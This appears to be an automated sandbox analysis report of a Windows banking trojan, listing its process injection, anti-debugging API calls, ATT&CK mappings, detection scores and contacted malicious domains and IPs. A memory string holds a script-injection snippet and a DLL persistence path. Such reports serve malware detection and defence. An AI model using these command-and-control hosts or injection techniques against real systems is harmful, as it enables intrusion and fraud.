Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 23_2_00401662 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_00401662
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 23_2_00404121 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_00404121
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 23_2_0040213B SetUnhandledExceptionFilter,	23_2_0040213B
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_004032B8 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,MessageBoxW,VirtualProtect,MessageBoxW,VirtualProtect,VirtualProtect,SetUnhandledExceptionFilter,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,	24_2_004032B8
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_0040CD66 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_0040CD66
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 26_2_00406A50 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_00406A50
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 26_2_00401662 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_00401662
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 26_2_00404121 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_00404121
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 26_2_0040213B SetUnhandledExceptionFilter,	26_2_0040213B
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_004032B8 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,MessageBoxW,VirtualProtect,MessageBoxW,VirtualProtect,VirtualProtect,SetUnhandledExceptionFilter,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,	28_2_004032B8
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_0040CD66 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_0040CD66

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Memory written: C:\Users\user\Desktop\fmlgbgc2p5.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Memory written: C:\Users\user\AppData\Roaming\omsecor.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Memory written: C:\Windows\SysWOW64\omsecor.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Memory written: C:\Users\user\AppData\Roaming\omsecor.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Memory written: C:\Windows\SysWOW64\omsecor.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Memory written: C:\Users\user\AppData\Roaming\omsecor.exe base: 400000 value starts with: 4D5A	Jump to behavior

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Process created: C:\Users\user\Desktop\fmlgbgc2p5.exe C:\Users\user\Desktop\fmlgbgc2p5.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\SysWOW64\omsecor.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\SysWOW64\omsecor.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe	Jump to behavior

Source: omsecor.exe	Binary or memory string: Shell_TrayWnd
Source: fmlgbgc2p5.exe, 00000000.00000002.1641221794.000000000048D000.00000004.00000020.00020000.00000000.sdmp, fmlgbgc2p5.exe, 00000000.00000002.1641457885.00000000020BB000.00000004.00000020.00020000.00000000.sdmp, fmlgbgc2p5.exe, 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: ftpPriorHostTimeCorrUniqueNumhttp://AppEvents\Schemes\Apps\Explorer\Navigating\.currentSOFTWARE\Classes\MIME\Database\Content Type\text/htmlapplication/x-javascripttext/javascriptCLSIDBuildSOFTWARE\Microsoft\Internet ExplorerJOB FILE^nocryptPage generated at: http:__scMMdj490)0-Osdurandcrandsetvarmsec1970b_nav_timeCsMSoftware\Microsoft\Windows NT\CurrentVersion\WindowsAppInit_DLLsC:\WINDOWS\system32\gbdwpbm.dll.jar.mpeg.mpg.3gp.mov.mkv.wmv.avi.mp3.pdf.7z.gz.exe.rar.zip.xls.docvar scr= document.createElement("script"); scr.src = "%s"; document.getElementsByTagName("head")[0].appendChild(scr);Aahttp_self&host=track_eventsjavascriptbegun.ru/click.jsp?url=an.yandex.ru/count_blank,"url""domain""encrypted""URL""condition_id""kwtype"<domain></domain><url></url><title></title>http://click0^POSTShell.ExplorerAtlAxWineventConnShell_TrayWndAccept: /*

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

Code function: 0_2_0040327A cpuid

0_2_0040327A

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: GetLocaleInfoA,	0_2_00406E83
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: GetLocaleInfoA,	4_2_00406E83
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: GetLocaleInfoA,	13_2_00406E83
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: GetLocaleInfoA,	16_2_00406E83
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: GetLocaleInfoA,	23_2_00406E83
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: GetLocaleInfoA,	26_2_00406E83

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

Code function: 0_2_00403196 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00403196

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

Code function: 2_2_00407499 GetLocalTime,GetLocalTime,GetLocalTime,GetTimeZoneInformation,SystemTimeToFileTime,SystemTimeToFileTime,SystemTimeToFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

2_2_00407499

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

Code function: 2_2_00406CB5 GetVersionExW,

2_2_00406CB5

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	112 Process Injection	121 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	21 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	112 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	22 Software Packing	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
fmlgbgc2p5.exe	89%	ReversingLabs	Win32.Trojan.VirtuMonde
fmlgbgc2p5.exe	100%	Avira	HEUR/AGEN.1352667
fmlgbgc2p5.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\omsecor.exe	100%	Avira	HEUR/AGEN.1352667
C:\Users\user\AppData\Roaming\omsecor.exe	100%	Avira	HEUR/AGEN.1352667
C:\Windows\SysWOW64\omsecor.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\omsecor.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://mkkuei4kdsz.com/	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/441/819.html	100%	Avira URL Cloud	phishing
http://lousta.net/349/212.html	100%	Avira URL Cloud	phishing
http://lousta.net/	100%	Avira URL Cloud	phishing
http://lousta.net/952/351.htmlU?	100%	Avira URL Cloud	phishing
http://lousta.net/952/351.html_	100%	Avira URL Cloud	phishing
http://lousta.net/370/988.html	100%	Avira URL Cloud	phishing
http://lousta.net/952/351.htmlf?	100%	Avira URL Cloud	phishing
http://lousta.net/349/212.htmlD	100%	Avira URL Cloud	phishing
http://lousta.net/952/351.htmlx?3	100%	Avira URL Cloud	phishing
http://lousta.net/952/351.htmlshqos.dll.mui=	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/612/675.htmlc	100%	Avira URL Cloud	phishing
http://lousta.net/400/589.html	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/612/675.html	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/8	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/612/675.html%	100%	Avira URL Cloud	phishing
http://lousta.net/400/589.htmlx	100%	Avira URL Cloud	phishing
http://lousta.net/rontdesk	100%	Avira URL Cloud	phishing
http://lousta.net/206/582.html	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/358/336.html	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/~	100%	Avira URL Cloud	phishing
http://lousta.net/952/351.html6	100%	Avira URL Cloud	phishing
http://lousta.net/349/212.html5T	100%	Avira URL Cloud	phishing
http://lousta.net/952/351.htmlA	100%	Avira URL Cloud	phishing
http://lousta.net/952/351.html	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/931/166.html	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/http://mkkuei4kdsz.com/http://lousta.net/http://lousta.net/begun.ruIueiOodcon	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/612/675.html-8a8d424fbe43573ef1LMEM	100%	Avira URL Cloud	phishing
http://lousta.net/370/988.html=	100%	Avira URL Cloud	phishing
http://lousta.net/206/582.htmlO2	100%	Avira URL Cloud	phishing
http://lousta.net/0	100%	Avira URL Cloud	phishing
http://lousta.net/349/212.html.T	100%	Avira URL Cloud	phishing
http://lousta.net/952/351.html)	100%	Avira URL Cloud	phishing
http://lousta.net/861/856.html	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
lousta.net	193.166.255.171	true	true	unknown
mkkuei4kdsz.com	15.197.204.56	true	true	unknown
ow5dirasuek.com	52.34.198.229	true	true	unknown
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://lousta.net/370/988.html	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/441/819.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/349/212.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/612/675.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/400/589.html	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/358/336.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/206/582.html	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/931/166.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/952/351.html	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/	true	Avira URL Cloud: phishing	unknown
http://lousta.net/861/856.html	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://lousta.net/952/351.htmlU?	omsecor.exe, 0000001C.00000002.2589585236.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/952/351.html_	omsecor.exe, 0000001C.00000002.2589585236.00000000004F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/952/351.htmlx?3	omsecor.exe, 0000001C.00000002.2589585236.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/952/351.htmlf?	omsecor.exe, 0000001C.00000002.2589585236.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/349/212.htmlD	omsecor.exe, 0000001C.00000002.2589585236.00000000004A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
http://lousta.net/952/351.htmlshqos.dll.mui=	omsecor.exe, 0000001C.00000002.2589585236.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/8	omsecor.exe, 00000007.00000002.1840387008.0000000000622000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/612/675.htmlc	omsecor.exe, 00000007.00000002.1840387008.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/400/589.htmlx	omsecor.exe, 00000007.00000002.1840387008.0000000000603000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/612/675.html%	omsecor.exe, 00000007.00000002.1840387008.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/rontdesk	omsecor.exe, 00000007.00000002.1840387008.0000000000603000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/952/351.htmlA	omsecor.exe, 0000001C.00000002.2589585236.00000000004F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/349/212.html5T	omsecor.exe, 0000001C.00000002.2589585236.00000000004A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/~	omsecor.exe, 00000012.00000002.2334469520.00000000006A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/http://mkkuei4kdsz.com/http://lousta.net/http://lousta.net/begun.ruIueiOodcon	fmlgbgc2p5.exe, 00000000.00000002.1641221794.000000000048D000.00000004.00000020.00020000.00000000.sdmp, fmlgbgc2p5.exe, 00000000.00000002.1641457885.00000000020BB000.00000004.00000020.00020000.00000000.sdmp, fmlgbgc2p5.exe, 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, omsecor.exe, 00000004.00000002.1663858089.00000000020F9000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000004.00000002.1663673334.000000000054D000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, omsecor.exe, 0000000D.00000002.1905585206.00000000020A6000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000D.00000002.1905345423.000000000074D000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, omsecor.exe, 00000010.00000002.1905863705.0000000002026000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000010.00000002.1905714448.0000000000701000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, omsecor.exe, 00000017.00000002.2376204202.0000000000531000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000017.00000002.2376628433.000000000206F000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, omsecor.exe, 0000001A.00000002.2374629905.00000000020B4000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000001A.00000002.2374377981.0000000000651000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/952/351.html6	omsecor.exe, 0000001C.00000002.2589585236.00000000004F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/612/675.html-8a8d424fbe43573ef1LMEM	omsecor.exe, 00000007.00000002.1840387008.0000000000619000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/206/582.htmlO2	omsecor.exe, 00000012.00000002.2334469520.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/370/988.html=	omsecor.exe, 00000007.00000002.1840387008.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/0	omsecor.exe, 0000001C.00000002.2589203177.0000000000194000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/349/212.htmld	omsecor.exe, 0000001C.00000002.2589585236.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://lousta.net/349/212.html.T	omsecor.exe, 0000001C.00000002.2589585236.00000000004A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/952/351.html)	omsecor.exe, 0000001C.00000002.2589585236.00000000004F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
193.166.255.171	lousta.net	Finland	1741	FUNETASFI	true
52.34.198.229	ow5dirasuek.com	United States	16509	AMAZON-02US	true
15.197.204.56	mkkuei4kdsz.com	United States	7430	TANDEMUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569339
Start date and time:	2024-12-05 18:08:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	fmlgbgc2p5.exe renamed because original name is a hash value
Original Sample Name:	8b0613982b6a7f0542a7dbfce43aa216a043ce9a2a2a24a7a2c77a6e8fa6aa72.exe
Detection:	MAL
Classification:	mal100.bank.troj.evad.winEXE@29/27@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 104 Number of non-executed functions: 410
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.89.179.12, 52.168.117.172
Excluded domains from analysis (whitelisted): onedsblobprdeus07.eastus.cloudapp.azure.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, time.windows.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: fmlgbgc2p5.exe

Simulations

Behavior and APIs

Time	Type	Description
12:09:41	API Interceptor	9x Sleep call for process: omsecor.exe modified
12:09:48	API Interceptor	6x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.166.255.171	cOviNFmw21.exe	Get hash	malicious	Neconyd	Browse	lousta.net/352/26.html
	nNX5KYQRhg.exe	Get hash	malicious	Neconyd	Browse	lousta.net/691/461.html
	bd0wJGTae5.exe	Get hash	malicious	Neconyd	Browse	lousta.net/562/252.html
	HUo09bfA3g.exe	Get hash	malicious	Neconyd	Browse	lousta.net/989/145.html
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	www4.cedesunjerinkas.com/chr/wtb/lt.exe
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	www4.cedesunjerinkas.com/chr/wtb/lt.exe
	document.log.scr.exe	Get hash	malicious	Unknown	Browse	www4.cedesunjerinkas.com/chr/wtb/lt.exe
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.synetik.net/
	cnzWgjUhS2.exe	Get hash	malicious	Neconyd	Browse	lousta.net/161/343.html
	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	lousta.net/372/625.html
52.34.198.229	cOviNFmw21.exe	Get hash	malicious	Neconyd	Browse	ow5dirasuek.com/618/507.html
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	uavINoSIQh.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ow5dirasuek.com	cOviNFmw21.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	nNX5KYQRhg.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	bd0wJGTae5.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	HUo09bfA3g.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	cnzWgjUhS2.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	djvu452.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
mkkuei4kdsz.com	cOviNFmw21.exe	Get hash	malicious	Neconyd	Browse	15.197.204.56
	nNX5KYQRhg.exe	Get hash	malicious	Neconyd	Browse	15.197.204.56
	bd0wJGTae5.exe	Get hash	malicious	Neconyd	Browse	15.197.204.56
	HUo09bfA3g.exe	Get hash	malicious	Neconyd	Browse	15.197.204.56
	cnzWgjUhS2.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	djvu452.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
lousta.net	cOviNFmw21.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	nNX5KYQRhg.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	bd0wJGTae5.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	HUo09bfA3g.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	cnzWgjUhS2.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	djvu452.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
s-part-0035.t-0009.t-msedge.net	QiGA4zxp7h.exe	Get hash	malicious	FormBook	Browse	13.107.246.63
	f5TWdT5EAc.exe	Get hash	malicious	Phorpiex, RHADAMANTHYS, Xmrig	Browse	13.107.246.63
	lj8shy7Er0.exe	Get hash	malicious	GuLoader	Browse	13.107.246.63
	BUE1EnkN5v.exe	Get hash	malicious	GuLoader	Browse	13.107.246.63
	http://web-quorvyn.azurewebsites.net	Get hash	malicious	TechSupportScam	Browse	13.107.246.63
	8JuGuaUaZP.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.63
	https://vacilandoblog.wordpress.com/2015/04/22/a-tribute-to-my-mother-in-law-rest-in-peace-april-22-2015/	Get hash	malicious	Unknown	Browse	13.107.246.63
	MOV-0903787857-(Jmulvey)MMS0%3A28.mp4.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	http://womenluxuryfashion.com	Get hash	malicious	TechSupportScam	Browse	13.107.246.63
	O7T6gwPvqA.exe	Get hash	malicious	ScreenConnect Tool	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FUNETASFI	cOviNFmw21.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	130.234.121.110
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	86.50.103.12
	ppc.elf	Get hash	malicious	Mirai	Browse	153.1.142.240
	loligang.mpsl-20241128-1536.elf	Get hash	malicious	Mirai	Browse	192.98.111.96
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	153.1.142.236
	arm7.elf	Get hash	malicious	Unknown	Browse	128.215.188.75
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	153.1.77.176
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	128.214.247.115
	x86.elf	Get hash	malicious	Unknown	Browse	86.50.90.19
AMAZON-02US	spc.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	cOviNFmw21.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	https://ln5.sync.com/dl/3c61e3b30#gum48d7j-5vgyh9gy-tcjv9rp4-ffxvqp5f	Get hash	malicious	Unknown	Browse	15.222.106.233
